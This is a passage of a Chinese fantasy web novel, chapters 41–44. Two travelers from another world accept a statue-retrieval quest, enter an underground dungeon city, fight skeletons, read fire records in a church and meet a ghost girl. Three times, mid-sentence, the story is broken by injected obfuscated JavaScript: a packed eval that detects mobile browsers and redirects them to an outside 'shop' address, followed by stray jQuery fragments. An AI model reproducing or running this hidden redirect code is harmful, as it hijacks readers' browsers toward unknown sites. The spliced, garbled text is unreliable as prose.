那片充满怨灵的居民区恰好就横亘在山路面前,堵得严严实实,一丝缝隙也不留。
林千平跟在采购物资的王清虞身后,仍拿着地图仔细思索,希望能从这张破皮子上看出一条生路。她怀里抱着王清虞刚买来的睡袋,正在皮革店外等着拿到自己的新背包。
店老板似乎报了个极为离谱的价格,几乎从不讲价的王清虞像个炮仗似的被点燃了,呜哩哇啦地砍起价来。林千平对着地图发呆,面前路过的一个个人影中,突然有双挂着泥土和草屑的牛皮靴子停了下来。
“你好,请问你是冒险者吗?”这是一道语气温和且轻柔的男声。
林千平抬头看去,一个金发绿眼,穿着上好羊毛大衣的男人正双手举在胸前,捏着自己的帽子有些疲惫地朝她微笑着。
“你有事吗?”林千平没做回答,反问道。
“是这样的,我的主人有一项任务,需要委托给前去地下城的勇士们。嗯,只需要取来一件小小的雕像就可以,报酬是1000金币。”他的语速很快,似是怕被拒绝般立刻提到高昂的奖励金额。
林千平本又看回地图,正想挥手让他离开,1000金币就像关键词一样“biu”地一声从那人嘴里亮起。她思忖片刻,谨慎地提问:“在哪?”
“嗯……在地下城的国王城堡里。”他脸上浮现出略带歉意的苦笑,似乎是在为自己提出这样不合理的要求而感到抱歉,接着又补充道:“三楼图书室。”
王清虞此时恰好捧着狂砍18银的战利品得胜而归,林千平收好地图,示意两人到安静的地方说话。
那个男人大约看出林千平有意接受任务,顺从地跟着她们来到一处马厩旁的空地上。
“什么雕像?”林千平简单说明情况,王清虞立马积极地追问。
“是一尊白玉做的精灵雕像,大约这么高,眼睛镶嵌着黄色的水晶。”他比划了一个玻璃酒瓶的高度,不算细致地描述了样子:“精灵的耳朵是尖尖的,模样么……我的语言贫乏,可能不太好表达……不过我敢打包票,那座城堡里只会有这一位精灵的塑像。”
两位异世界勇者眼神交流了一会儿,点头应下了这份差事。
“那最好不过了。”男人看起来并没有他嘴里说得那么开心,脸上仍是挂着带有几分疲态的笑容:“我叫希尔金,你们可以在格雷旅馆找到我,只要我拿到雕像,就会立刻支付酬金。”
他不再多说什么客套话,朝两人礼貌地点点头便戴上帽子匆匆走回街上。
“支线任务?”王清虞还抱着新买的背包,兴致勃勃地朝好友说道。
“双重保障。”林千平指正道:“国王只授予爵位和封地,一毛钱赏赐都没提到,我看是根本没打算给……有个托底的至少能安心一些。”
“反正无论如何都得通关地下城才行,城堡是必须得去的。”林千平耸耸肩,露出个无可奈何的表情。
“哎呀,我们很厉害了!两个世界都闯过来了,区区地下城么……”王清虞还沉浸在好事送上门的愉悦中,脚步轻快地走在前面:“易如反掌!”
等两人买齐各种装备和补给,天色已经昏暗。走夜路不是什么好选择,何况她们拿着的东西多数都还没放进背包里,正一团乱糟地堆在手上。穿过街道,返回旅店,吉娜恰好在外面准备关门,支支吾吾地同意了她们继续住回那间房的要求。
房间里被褥凌乱,显然未经打扫。林千平关上门,先把手里热乎乎的食物放好,这才把新背包里胡乱塞着的物品拿出来准备重新收纳:
一捆绳索、一个手提防风油灯、一口小铁锅,都已在背包外边系好。一对燧石、一盒火柴、小瓶备用灯油、一点零碎干果,被油纸包裹,保管在腰包里。两个水袋、一把不错的带鞘匕首,将会和腰包一起挂在腰间。
两套换洗衣物、一条毛巾、一块肥皂、两双袜子、包好的几支蜡烛,装在背包内部;一些硬面包、一袋肉干、几块滋味浓郁的奶酪、含有果干的坚果套装、一个小铁杯和配套的小勺,被塞在衣服的右边,方便拿取。在这些东西上面,压着装有布条、针线、基础止血药材和解毒剂的医疗小包。
再在背包顶部绑好单人睡袋,这就大功告
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355751|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成了。
林千平整齐地理好两个背包,又把自己的包裹系好,小心地放到医疗包下面。符箓和银子被她妥帖地装在新外套的内口袋里,她特意选了一件宽松的厚实大衣,这样就可以套在新买的这身漂亮皮甲外面。
随意吃完味道一般的晚餐,又试起鞋子来。一双舒适的皮靴,可以紧紧裹着脚踝,再搭上暖和的羊毛袜,即使要淌一些浅水也没有问题。
购物所用的花销全都来自于这支小队的赞助商王清虞阁下。牧师在这个世界里的确是个多金的职业,当她豪气地展示自己丰盈的钱袋子时,林千平咧开的嘴巴就没合上过。
两人最后清点一遍所有物品,随意洗漱后就上床休息了。
隔天,两个人背着鼓鼓囊囊的行李走在路上,看起来已经和正经的冒险者没多少区别。林千平熟门熟路地来到购买通行资格的帐篷前,从那个还在看书的男人手里买来两个刻着纹样、写有她们名字的木牌。
王清虞读出上面用墨汁写下的文字:“旺青鱼,牧师。”文盲林千平便把自己的牌子也拿给她看:“林前平,战士。”
“嗯,行吧。”林千平悻悻收回木牌,拎着帐篷朝入口走去。这帐篷虽然质量一般,价格倒比镇子里卖的要便宜得多,她们穿过几顶红色帐篷,准备看看营地里有没有空位。
一片被踩得乱七八糟的烂泥地里,几顶破败的帐篷在四周狼藉的杂物中顽强伫立着。从当中的破洞看去,里面已经空无一物。一两个轻装出行的冒险者从身旁路过,径直走到由守卫看管的一顶红帐篷前。
她们迈着犹豫的步子,也跟着走进帐篷。里面坐着几个穿黑袍的官方人员,他们检查过通行证和营地许可,又重新瘫坐回椅子上,接着谈论起天气。
“去年这个时候哪有这么冷?神恩节前一礼拜我还穿着短外套呢……”
林千平掀开帐篷另一侧的帘子,换来几句夸张的抽气声。帐篷后不远处有一个凸起的入口,除了那扇看起来是后安上的双开木门以外,整个洞口几乎与大地融为一体,好似一座小小的矮山。小山表面所覆盖的草皮已经枯萎,没合拢的门缝里幽幽地飘出些寒冷的微风。
没找到营地,却先撞见了入口?林千平看着前面两个只挎着小包,连把武器都没拿的冒险者神情自若地走进门内,琢磨了几秒,最终选择继续跟上前,踏进同一片黑暗。
门口较为漆黑,稍稍适应一会儿,就能发现前方的火光。脚下的地面有些像人工开凿出台阶的山路,每隔一段路便有一支立式火炬提供照明。整条路像是被单独切割下来一般,台阶两边只向外延伸出去几十厘米,便突兀地被吞进一片黑暗。
有冷风不断往上吹,林千平觉得自己就好像是在主动走进冰箱的冷藏间。地面上还算秋天,地面之下早已过上了寒冬。
走了约有六七分钟,下到一片还算宽阔的平地。前方出现一片高大的石头城墙,厚重的城门大开着,城内的空地上聚集着不少五花八门的帐篷。
“走吧!”林千平说道,两人便一前一后地穿过了城门。
42.西幻
不少油灯和火把将这块地下区域照得宛如白日,许多帐篷聚集在城门两边,甚至沿着城墙摆出了一条长道。头顶上是看不见任何物体的漆黑,没有月亮、没有星星、也没有山石泥土。这使人很难分清自己究竟是身处地下,还是仅仅站在一个永远多云的夜晚里。
城内的人比想象中的要多一些,维修武器的、叫卖食品的、出售装备的、面前摆着一堆药剂瓶子的……看起来没几个是正经要闯地下城的冒险者。
这样的小摊贩占据了靠近城门的这一半区域,很大一部分都没什么生意,不是在摊位上打瞌睡,就是聚在一块聊天玩纸牌。
林千平和王清虞背着大包从当中的窄路通过,很快就被认出来是初到这个地下城的两只菜鸟。一些机灵的摊主立刻像蚂蝗般贴了上来,甩着嘴皮喷着唾沫,毫无边界地推销着自己的货物。
林千平把剑横在面前,顶开了两边就要上手拉她背包的几个人。她侧身让王清虞先走在前头,回头时挨个用眼神扫射了一遍四周还想挤上前的小贩们。
不少人都迅速变了脸色,臭着脸嘴里不干不净地骂着话离开了。只剩一位头发盘得整齐,穿着法师专用长袍的中年女人还跟在她们身旁。
她没有滔滔不绝地推荐商品,只是在确定林千平注意到她时声量不大不小地说明了自己的身份:“我叫凯瑟琳,是一名医师。我的帐篷在左边最里面,白色的……你们若是需要治疗,可以到我的帐篷来,每个人第一次看诊都是免费的……”
她看起来对这里的环境并不太熟悉,边说着话,脚下就被石块绊了一大跤。
“小心。”王清虞离得更近些,伸手扶住了她的胳膊。
“谢谢。”她站稳身子,抚了抚梳得光亮的头发,继续说道:“伤药和解毒剂也有打折……愿女神保佑你们。”
她们已经走到冒险者居住的营地,一些各自聚集的帐篷前都亮着火光。由于还驻扎在此的队伍并不多,小队之间都隔着些距离,很容易就能看清数量,这里现在大约只剩下五、六支队伍。
凯瑟琳离开前,为她们指明了免费的水源地和厕所的位置。两位新手道过谢,挑了个僻静的角落搭起帐篷。
为了节省干粮,午餐吃的是一家小摊上的土豆浓汤和圆面包。价格比地上贵了一些,味道却要好得多。林千平坐在小火堆旁,观察着四周的环境。
她们面前还有一堵城墙,再过一道城门,里面才是真正危机四伏的地下城。被刺激的冒险生活引诱的大脑此刻冷静下来,林千平此时后知后觉地想起了范斯那句阴沉的警告:“死了就是真死了。”
我当真如此无畏吗?就要走进这个被盖棺定论的死亡之地?
过去的两个世界里,她也曾有临近死亡的时候,只是当时的自己并不清楚危险的即将到来。
从没有哪一次会像现在这样,如此清晰地察觉到死神的靠近。即使是和王清虞躲在福寿宫的角落里,心惊胆颤地听着脚步声时,她也仍保存着一些侥幸的念头。
这会不会还是一场游戏、一个逼真的梦境?她想不起一切的开始,或许自己早就真的死了,在这些世界里的一个又一个365天,就是她余下将要经历的人生呢?辗转于不同的地方,更换无数的身份……一直到某天像这样把自己丢进某个充满死亡威胁的地方,然后在一个不那么特殊的时间点上彻底失去意识。
“明天先往哪个方向走啊?”王清虞的声音在耳畔响起,她摆弄着地图,凑在火边试图看清路线。
对了,还有王清虞。林千平摩挲着手里的面包,神情恍惚地看着她。
哪里都有她,哪里都有王清虞。
她是引诱我沉沦的恶魔,还是拯救我于水火的天使?
“怎么了?”迟迟没有得到回应,王清虞抬头看着她。火堆并不很亮,林千平只能勉强看清对方的五官轮廓。
“我们这样,真的有用吗?”面包很干,吃得林千平声音发哑。
那个蹲着的身影活动起来,坐回了自己的位置上。地图好像被揉起,随意搭在她的腿边。
“你知道我喜欢看小说对吧?”
林千平朝她点头。
“我一直相信,我们也是主角。”
“我不知道这是一本怎样的书,它的结局究竟会如何。我只知道,在迎来我的终章之前,一切皆有可能。”
“我说能回家,那就必须能回去。”她的语气笃定,还做了个挥舞食指的手势。
是必须,而不是一定。林千平想了一小会儿,埋下头无言地笑了。
她也没把握这条路一定就是对的,但反正路都在眼前了,先走上去再说吧。假如此路不通,那就再探再走。最重要的是,永远不要预先怀疑自己的选择。
王清虞其实并不是多么洒脱坚强的人,她会因为小事纠结,也会在大事临门前内耗恐惧,可当自己的朋友陷入心灵的困境时,她永远会是最可靠的那一个。
地下城没有白天,人对于时间的流逝除了观察沙漏,就只剩下身体的生理反馈了。林千平弄亮火堆,继续研读着手里的小册子。
外围那圈闹哄哄的小摊贩们已经结束聚会,各自躲回帐篷里打着呼噜,零星几个整天营业的摊位也都静悄悄的。王清虞正在整理自己的睡袋,她们已经吃过晚餐,此时的确应该是休息的时间了。
“你不睡吗?”帐篷里传来窸窸窣窣的声音,随后便是一句询问。
“我还不困,你先睡吧,靠里面睡。”林千平翻着书页,不时抬头看看其他队伍的状况。
里面不再有回应,偶尔才能听到翻身的动静。
她们已经决定好明天暂时就在外围查看情况,最好能找到个高一点的地方观察一下那片倒塌的居民区,运气好的话,应该能再收集到一些新情报。
旁边离得最近的一个火堆也熄灭了,林千平又默背几遍符箓上的文字,钻回帐篷里睡下。
地下城的“清晨”很是有几分吵闹,先是有人在水源处大声吵架,接着又有几个做饭食的摊位上传来嘈杂的锅碗碰撞声。好像要以此当作起床闹铃一般,提醒所有人是时候来买早餐吃了。到了这个时候,除了前一天把自己灌到醉倒的酒鬼们,大多数人都已陆续起床活动。
林千平卷起睡袋,费劲地摸索着背包上绑住它的绳索。王清虞点起火,用水打湿毛巾勉强
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359213|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
擦擦脸。早餐还是那种土豆浓汤,只是吃起来并没有昨天那么美味。林千平随意填饱肚子,警觉地注意着周围冒险者们的动静。
附近一组帐篷前亮着火光,大约三、四人的身影正在整理行装。
“快背上,一会儿我们就跟在他们后边走。”林千平小声催促着王清虞,替她把包放到背上。
“这书我也得带吗?”王清虞还挎着那个皮包,手上拿着一把短刀:“我用刀还比用这个顺手呢。”
“放这儿没两分钟就得被人偷了,帐篷没了还能补领,这种东西丢了都没地方报警……不然给我来背?”林千平一边替她绑紧挂着各种东西的绳索,一边絮絮叨叨地分析着地下城的治安情况。
“算了,倒是也值两个钱……哎,他们要往里走了!”
那支小队灭了火堆,同样背着大包在往内城门的方向移动。
两人手忙脚乱地踩灭火光,不远不近地保持着距离跟在他们身后。
内城门与外城门并不在一条直线上,须得沿着城墙走上一段长路才能抵达。好在靠近城墙的地方装有燃着大火的立式铜盆,不至于现在就要拿出油灯来。
这些照明工具高大结实,几乎和现代的路灯一般明亮。盆中的大火熊熊燃烧,相当温暖,时不时还会蹦出些火星子,好似当真在烧着什么一样。
王清虞小跳几下,瞥见盆里空无一物,火焰舔舐着盆壁,丝毫不见熄灭的趋势。
“煤气路灯?烧这么旺吗?”她看清内状,奇怪地自言自语道。
前面的三人小队中,走在最后扛着双手剑的战士转过头看了看发出响动的两人几眼。王清虞留意到他不怀好意的轻蔑打量,立刻放慢脚步,准备拉开距离。
那令人不适的眼神只持续了一会儿,很快就随着它的主人转回前方。林千平这才仔细观察起这支队伍里的三位成员:
最前面是佩着单手剑的战士,背着机弩和利箭;中间的法师穿着长袍,拿着镶有金边和宝石的长棍;最后面那个没礼貌的家伙背着的包最小,那把双手剑看起来并不锋利,剑身上有不少划痕和豁口。
他们的行进速度很快,没多久便到了内城门口。内城门并不像外城门一样完全敞开着,厚重的门板之间只开了个仅能通过两人的小口。前面的三人依次穿过了那道门缝,王清虞拉住就要跟进去的林千平,先透过缝隙看了看情况,确认那几个人都走在远处的街面上,这才举着刀走进城内。
城里没有她们所设想的那般昏暗,路边均有小型火盆、火炬照明,民房前的壁灯也都亮着。前面的小队穿过不长的一条街,已经消失在尽头拐角处。
“他们朝右拐了。”林千平提醒道。
王清虞脚下不停,微微低头翻看着手里的地图:“右转是……一些商店,应该是商业街吧。”她收起地图,小步跑着跟上同伴的步伐。
“那左边呢?”林千平随口发问。
“看起来像是兵营。”地图上的用词很模糊,大致意思应当就是聚集着很多士兵的地方。“也有可能是治安所之类的设施。”
她们绕了个大圈转过路口,前方的景象令二人忽地停下了脚步。
43.西幻
只见那三人若无其事地穿行在一小群晃晃悠悠行走着的人类骷髅当中,他们没有引起任何注意,步伐毫无停顿和迟疑,在这地狱般的街道上就像真的是来闲逛一样惬意。
这些白森森的怪物们身上还穿着衣物,多数已经破败不堪,但依稀能分辨出其样式与现在的服装多有不同。城里的街面铺设着大块的石砖,那些没有血肉的脚掌踩在石头上,发出一阵“咔哒咔哒”的骇人声响。
“就这样穿过去吗?”王清虞难以置信地说道。
“……应该能行?”林千平抽出宝剑,率先迈开步子走在前头。
她们走得相当小心,在马上就要靠近骷髅们的时候,甚至不由自主地屏住了呼吸。林千平催眠着自己,想象这只不过是在万圣节的游行队伍里参观游览,但当走到一个穿着长裙的骷髅附近,一种难以言说的气味还是令她毛骨悚然。
那是离她们最近的一位骷髅,这位女士生前应当是个卖东西的小贩,她守在自己已经空无一物的摊位前,不停活动着下颌骨,像是还在大声叫卖。
她身上的气息十分怪异,有点像苹果腐烂时发出来的甜臭味,又似乎像是混杂着香气的血腥味。无法具体形容的感受,加重了那使人不寒而栗的恐怖氛围。
林千平在离她三步远的位置犹疑地停下脚步,前方的三人已经走到路口,马上又要往左拐去。林千平注意着他们的动向,就在转过街角的那一瞬间,她敏锐地捕捉到了笼罩在那三人身上的淡蓝色光圈。
“等等!”她拦住王清虞,二人双双定在原地。
那支小队彻底离开了这条街,所有的骷髅霎时间就像太阳花一般把头转向唯二的两位活人,接着便齐齐向她们走来!
那位卖东西的女士踩过自己的摊子,张开双手就要扑到林千平的身上,一把锋利的宝剑几乎同一时刻被挥出,劈下了她左边的胳膊。
剑身卡到了她的上臂骨头里,五根灵活的指骨还在不停活动着。林千平后撤几步,拔下骨头朝那长裙骷髅扔去,打飞了她的下颌骨。王清虞见状收起了自己的短刀,从挎包里掏出那本漂亮的巨书,对准朝她靠近的某个骷髅的光脑袋,狠狠地从上到下抡了一把!这一猛击将那骷髅打得全身散架,瘫在地上被自己的衣服缠得不能动弹。
王清虞惊喜地看着自己手里的破书,士气大涨地冲到林千平面前,抬高手臂又抡了一把,让那个长裙小贩也倒在地上变成一坨骷髅压缩包。
“知识就是力量,朋友!”她仗着人类灵活的肢体,挨个凑到骷髅们面前,一对一让它们领教了一番智慧的沉重价值。林千平捞过路边的破木板,学着她的样子也来敲敲乐。这些骷髅行动迟缓,还容易散架,虽然会重组再生,但并不算什么难以对付的敌人。
那伙人大约是为了节省时间吧?林千平想到。
隔壁街传来的响动令克罗斯不屑地嗤笑出声,走在前面的阿米提亚回头淡淡瞥了他一眼,语气不佳地命令道:“跟紧点,别偷懒。”
克罗斯收起笑意,投回一个懒散的眼神:“嗯嗯,是是。”
最前方的布恩没有说话,只是加快了领路的脚步。三人绕过密集的住宅区,朝城墙边缘的一处小树林走去。
骷髅们虽然被打散了还会缠在衣服里,但架不住数量占优,这一个刚被敲碎,上上一个已经组织好身体开始满地找头了。
等两人转过街角,那三个人早就消失得无影无踪。身后的骷髅仍旧紧追不舍,王清虞一边小跑着,一边翻开地图寻路。
“呃……前面直走右转,再直走一会儿就是我们看好的那个教堂!”她冲好友大声提醒道。
林千平朝她比了个大拇指,加速小跑着穿过街面。这两条街上零散的也有几个骷髅,但都没有商业街那儿的数量多,两人就这样身后远远坠着一长溜狂热的追随者们,前后冲进了这间稍显破旧的教堂,猛地关上大门。
“地图上怎么没写这个情况啊?”王清虞喘着粗气,纳闷地借着门口的大烛台重新浏览起那块破羊皮上的文字。
“怨灵、树精、鼠群、梦魇……没有啊?”林千平打量四周环境的空档里,她已经又把地下城里可能出现的各种怪物挨个点了一遍名字。
翻来覆去看了好几遍,才在那片大坨的墨迹下隐约看到一行字:“全城各处均有骷髅出没,需施行驱散不死生物之法术。”
王清虞一口气没喘匀,憋得双颊通红,闭着眼缓了好一会儿才回过精神来。
“便宜没好货……下回不能再省这点钱了……”她嘴里念叨着,手指使劲按揉着太阳穴。
“楼上也没问题。”林千平的声音从远处的讲坛边传来。这个安全区域地图上倒是没标错,整栋建筑里除了高大的神明塑像以外,就只有灰尘和蛛网与她们相伴。
王清虞松了一口气,不再纠结于地图的信息错误,走上前示意好友再上楼看看:“这楼挺高的,应该能看到那边吧?”
林千平拨亮油灯,带着她走到里间。挑高的大厅背后是一间空荡荡的屋子,中间的走廊尽头有一道木楼梯。从窄小的楼梯往上,二楼是几间神职人员的卧室,里面只剩些大件的破旧家具,地上散落着许多杂乱的垃圾。三楼是一整间阁楼,堆着些发黄发脆的书本纸卷,屋子里只有微弱的火光从花窗玻璃外透进房内。
林千平小心踩过有些松动的木地板,凑到窗边试图看清远处的情况。玻璃是彩色的,透明度也并不很高,林千平把油灯放在脚边,双手罩在眼睛上方,贴在窗户上仔细观察。
国王城堡耸立在悬崖上,一打眼就能看见。建筑内外灯火通明,好不热闹。山路两旁修建着围墙,入口和出口处各有一道大门,看起来像有哨兵在把守。
那片倒塌的居民区就在山路前方,断壁残垣凄凉地支戳着,基本都有被挖掘整理过的痕迹。道路只简单地做了清理,尽管多有遮挡,但依稀可以辨认出主干道,那条路直直地通向山门。地图上用大片的墨迹来代表这里倒也算合理,那些残余的房屋地基和断裂的梁柱上都染着焦黑的颜色,似是被大火灼烧过。
林千平收回视线,伸手想去捞油灯,结果摸了把飞舞着灰尘的空气。她四下张望,发现王清虞正提着灯蹲在那堆书卷面前翻着什么。
“你看得懂吗?”林千平挨着她蹲下,也好奇地凑过头去看。那是一本硬壳精装的小书
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362895|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,纸质很好,周围的卷轴都已变得焦黄酥脆,它还能柔软地被捻起翻动。
书中的文字是整齐的印刷体,不知是不是出于两种字体的差别,那些字形看起来与王清虞的那本书上写着的略有不同。
“这些是通用语,和人类的文字差别不大。”王清虞草草翻过开头几页大约是序言一类的文章,从画着一个长胡子男人全身像的一页读起:“……黑夜尽褪,月光远移,柯尼翁扛扶着太阳从天空中经过,河流得以复苏,山川充满生机,巨大的果实破土而出,人们就从此处诞生……”
“柯尼翁?你们不是信那个……阿什么塔吗?”
“阿凭塔。”王清虞提醒道:“我不信那个……至于这个翁…这座城可能已经在地下呆了很多年了。”她轻轻拎起旁边一张破碎的纸页,上面写着的日期距离当下已有250余年。
“大约280多年以前,人类才得到阿凭塔的青睐,当时这里应该还没有形成大面积的信仰……之后可能也没机会了。”
王清虞拿出一个状态还算不错的卷轴打开,示意林千平来看:“这里,二百……240年以前,这间教堂举行过一场集体葬礼,足有331人死于火烧。”
“随后的日子里,有210人陆续病死……”
这座可怜的城市经历了一场恐怖的大火,不久后就沉入了地下。大片倒塌的房屋、徘徊在原地的怨灵,此刻似乎都有了解释。
“这么重要的情报,怎么没人发现呢?”王清虞用手指拂过那张卷轴上写着的一排排名字,心情复杂地看着那些文字后面跟着的数字,这一张纸上记录的人名里,最小的才只有3岁。
“可能因为不值钱吧。”林千平想起楼下近乎简陋的教堂大厅,墙面上凹凸不平的裂痕或许不是年岁流逝而造成的自然剥落,现在看来,倒更像是从墙上切下带有壁画的墙皮时所留下的强盗痕迹。
这些无家可归的灵魂就这样日复一日地守在自己的房子前,充满愤怒和哀怨,无人愿意了解他们的过往,无人在意他们的苦楚。路过的活人们听不见痛苦的哀嚎,看不到肆虐的火焰,只想着该从何处榨出财富、该从哪里得到犒赏。
远处忽然传来爆裂的巨响,将无言的二人从黑暗中震起。林千平快步走到窗边查看,教堂左方不远处靠近城墙的一丛树林里正冒出浓烟和火光。她转身想叫王清虞一起离开,由远及近的整齐“咔哒”声又忽地留住了她的视线。
只见那群骷髅已经逐渐聚集到教堂正门处,僵尸一般围在栅栏外嘎嘣嘎嘣地活动着下颌骨。骨头相撞的脆响声令人毛发悚立,两人顾不得再多翻找什么,纷纷飞快地倒腾着双腿从楼梯下回一楼。
林千平穿过那间空屋,打开对面墙壁上唯一的一道门。后面是一间连同着厨房的餐厅,值钱的物件都被搬走了,只剩沉重的长木桌还孤零零地站在原地。
厨房里的灶台也燃着火,窗外能听到骨头不停碰撞铁栅栏的响动,林千平擦了擦玻璃上的灰尘,从模糊的窗子看去,数量略少于前门的骷髅们正围堵在栅栏前,纷纷挥舞着自己莹白的手骨。
一块不大的石头打碎窗户,从林千平的脸颊边划过。
44.西幻
“没事吧?”王清虞扑到窗前,关切地问道。
“没事,没砸到我。”林千平抖抖身上的落灰和碎片,拉着她离开窗边。
王清虞浅瞄了几眼,把手里的油灯系回林千平包上:“数量太多了,你有什么符咒能用吗?”
林千平透过破损的窗洞盯着外头的骷髅们出神了一会儿,突然顿悟般地“啊”了一声。
“有一种应该能试试……”她解开内口袋上的搭扣,从里面摸索着抽出一张黄符,脸上浮起略带歉意的表情:“抱歉,这可能有点痛……”随即便念诵起符箓上的文字,当最后一个音节被清晰发出,几道蓝紫色的惊雷凭空出现,顺着林千平手指的方向,狠狠击中了那段简约的铁栅栏。
电光与栅栏相触的一瞬间,刺眼的白光大片闪过,接连不断的强烈撞击和猛烈高温使得靠近栅栏的骷髅成片地散架倒下,衣物纷纷燃起火焰。一片混乱当中,还能站着的骷髅也被炸开的同伴们撞断肢体,稀里哗啦地掉了一地,院外顿时手脚纷飞、百骨齐鸣。
林千平顶着一头被静电炸起的碎发,毛茸茸地率先冲在前面,扒开栅栏门招呼着让王清虞快跟上。那些直接接触到栅栏的骷髅似乎全都失去了重组的能力,散落在地面成为了真正的骨头。剩下的骷髅数量已经不足为惧,两人故技重施,野蛮地打砸一通后终于逃离包围圈,来到一处较为僻静的区域。
“我们到哪儿了?”王清虞打开地图,晕头转向地问道。
林千平凑上前来,手指在图上巡走:“直走……路口左转,下一个路口右转……应该在这里,这什么地方?”
王清虞顺着她所指的地方看去:“呃,是一片工坊区,都是面包、奶酪、红酒之类的作坊。”
“这是什么意思?”林千平又指指街面上写着的一行字。
前方转角处传来动静,远远地听不真切,不像骷髅咔哒咔哒的脚步声,倒更像是金属铠甲相互摩擦撞击的铛铛声……
“哦,这里是巡逻士兵固定出现的重要街道之一……”王清虞也听见了那些越来越近的清脆声响,瞪大眼睛立刻寻找起附近可供躲藏的房屋:“有人有人有人有狗……哦哦哦这边这边!”她端着地图蹑手蹑脚地朝声音传来的反方向小跑着,林千平环顾四周,跟在她身后同样小心翼翼地跑开。
她们穿过一条小道,躲过了几只忠诚的骨头狗狗,来到一处院子里建着窑炉的房前。两人翻过不高的木栅栏,很快进入屋内。
这间房应当是个面包工坊,不仅有着单独的大窑炉,房间里也砌着两个稍小一些的炉子,炉内此时全都燃着永不熄灭的橘色火焰。
背着一大包行囊又是跑步又是打架,坐下歇息了没一会儿,一股强烈的饥饿感就向林千平袭来。她只觉得全身上下的腔体都空空荡荡,胃在肚皮下挣动翻滚,似乎都快从后背自己冲出去找东西吃了。
“我好饿……”她卸下背包,什么也思考不了,翻出面包和肉干就往嘴里猛塞。
王清虞靠着她坐下,解下水袋自己喝了几口,又拉过林千平的手,要她也喝点水:“你吃慢点……喝水啊。”
林千平吃完一整个小臂长的面包,大嚼了几根两指宽的肉干,这才感觉稍好一些。她吞咽下嘴里剩余的食物,目光涣散地扫视着这间屋子。
难道是使用符箓的副作用吗?她漫无边际地猜想着,视线穿过门洞,落到前方黑漆漆的走廊里。
从这里进入,里面应当是工坊主人的住所。那门前的墙壁上挂着油灯,火光不亮,但足以让人看见走廊尽头是一道侧面朝向她们的扶手楼梯。
王清虞从院子里打水回来,小心地关上了大门:“那些士兵好像快转到这条街了,咱们还得再等一会儿……你看什么呢?”
她走到发呆的林千平身边,皱着眉伸手去摸她的额头。刚才这人吃东西的样子就有些奇怪,难道路上有什么新的怪物上了她的身?梦魇……还是怨灵?!
“那里……有个人。”林千平猛地抓住王清虞贴在她脑门上的手,如梦初醒般缓慢而清晰地说道。
“什么……什么人?”王清虞见她声音幽幽,愈发害怕起来。她颤抖着抽出手,不确定自己究竟是要继续检查好友的精神状况,还是应该顺着她的视线去看那个凭空出现的“人”。
“我前面都看过了,没有人啊……”门外适时地响起了铠甲们富有节奏感的碰撞声,前头是诡谲的灵异世界,后头是拿着长剑利斧的自走重甲,王清虞从嗓子里发出一句完全变了音调的无助辩解,企图用这句话给自己的现状找条出路。
“范斯说怨灵是什么颜色来着?”林千平紧盯着楼梯边的身影,压根没注意王清虞说了什么,急急向她确认道。
“亮、亮蓝色……我记得……”王清虞欲哭无泪,今天不是说好只是来看看情况而已吗?她还没做好直面鬼魂的心理准备啊!怨灵是不是模样都很恐怖很吓人?就像安娜俊雄伽椰子,贞子笔仙……小杏妖我有点想你了呜呜……
她闭着眼等了一会儿,房子里什么动静也没有。屋外的铠甲士兵们已经远去,她嘴里轻声说着提议,极慢极慢地睁开眼睛,转身想往门口移动:“我们是不是可以离开……”
面前那道门边站着一个半透明的灰白色幽灵,她看起来只有十岁,梳着一个侧麻花辫,头发软软地搭在肩上。一身漂亮的布裙,看不出颜色,但能看清上面绣着几只可爱灵动的小鹿。
她沉默地注视着两位闯入家中的不速之客,神情木然。
王清虞猝不及防地和她打了个照面,过度紧张的神经令她同样定在原地。这间屋子突然就变成了木头人游戏的比赛现场,一位货真价实的鬼魂、一名半呆不傻的东方牧师,还有一个脑袋短路的倒霉蛋,三人或站或坐,足足静止了两三分钟。
“你在干嘛?”林千平率先终结了这场比赛,纳闷地盯着以一种小偷入室的鬼祟造型卡在一旁的王清虞。
“有鬼啊……”王清虞背对着她,从嘴巴里憋出几个轻飘飘的字句。
“灰白色,纯天然无公害的那种啊。”
王清虞小碎步挪到她背后,指指点点道:“那你上。”
“我……呃,也行。”林千
